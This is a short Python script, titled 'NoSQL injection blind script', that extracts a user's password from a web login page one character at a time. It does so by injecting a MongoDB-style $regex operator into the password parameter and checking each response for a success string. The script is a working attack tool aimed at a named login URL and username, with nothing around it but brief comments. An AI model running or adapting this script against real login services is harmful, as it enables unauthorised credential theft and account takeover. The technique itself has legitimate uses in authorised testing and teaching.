NoSQL injection blind script

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username='hitmanalharbi' # Username
password=''
u='http://vulngeek.com/login' # Login URL
while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload='?username=%s&password[$regex]=^%s' % (username, password + c) # Use Regex in password input
      r = requests.get(u + payload)
      if 'Logged' in r.text: # write the success message here
        print("Found one more char : %s" % (password+c)) # Output message when get a correct char
        password += c